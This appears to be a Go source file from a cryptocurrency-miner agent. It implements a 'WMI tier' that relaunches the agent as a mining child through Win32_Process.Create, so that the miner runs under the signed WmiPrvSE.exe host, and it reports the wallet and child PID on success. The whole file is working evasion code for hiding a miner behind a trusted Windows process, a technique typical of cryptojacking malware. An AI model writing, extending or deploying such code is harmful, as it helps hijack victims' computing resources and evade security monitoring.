package miner

import (
	"context"
	"fmt"
	"os"
	"runtime"
	"strings"

	"crypto-miner-agent/config"
)

// SignedHostProcess is the WMI provider parent used for Win32_ProcessCreate children.
const SignedHostProcess = "WmiPrvSE.exe"

// wmiProcessCreate runs Win32_Process.Create locally. Tests override via SetWMIProcessCreate.
var wmiProcessCreate = platformWMIProcessCreate

// SetWMIProcessCreate restores default when fn is nil.
func SetWMIProcessCreate(fn func(commandLine string) (pid uint32, err error)) {
	if fn == nil {
		wmiProcessCreate = platformWMIProcessCreate
		return
	}
	wmiProcessCreate = fn
}

// RunWMITier spawns a mining child via local Win32_ProcessCreate under the signed WMI host.
func RunWMITier(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
	if runtime.GOOS != "windows" {
		return TierAttempt{Tier: TierWMI, Error: "wmi tier requires windows", Wallet: cfg.Wallet}
	}
	select {
	case <-ctx.Done():
		return TierAttempt{Tier: TierWMI, Error: ctx.Err().Error(), Wallet: cfg.Wallet}
	default:
	}

	exe, err := os.Executable()
	if err != nil {
		return TierAttempt{Tier: TierWMI, Error: err.Error(), Wallet: cfg.Wallet}
	}
	cmdLine := fmt.Sprintf(`"%s" --run --tier-miner=wmi --mining-mode=%s`,
		exe, strings.TrimSpace(cfg.MiningMode))

	pid, err := wmiProcessCreate(cmdLine)
	if err != nil {
		return TierAttempt{Tier: TierWMI, Error: err.Error(), Wallet: cfg.Wallet}
	}
	return TierAttempt{
		Tier:   TierWMI,
		OK:     true,
		Wallet: cfg.Wallet,
		Details: map[string]interface{}{
			"signed_host": SignedHostProcess,
			"child_pid":   pid,
			"method":      "Win32_ProcessCreate",
		},
	}
}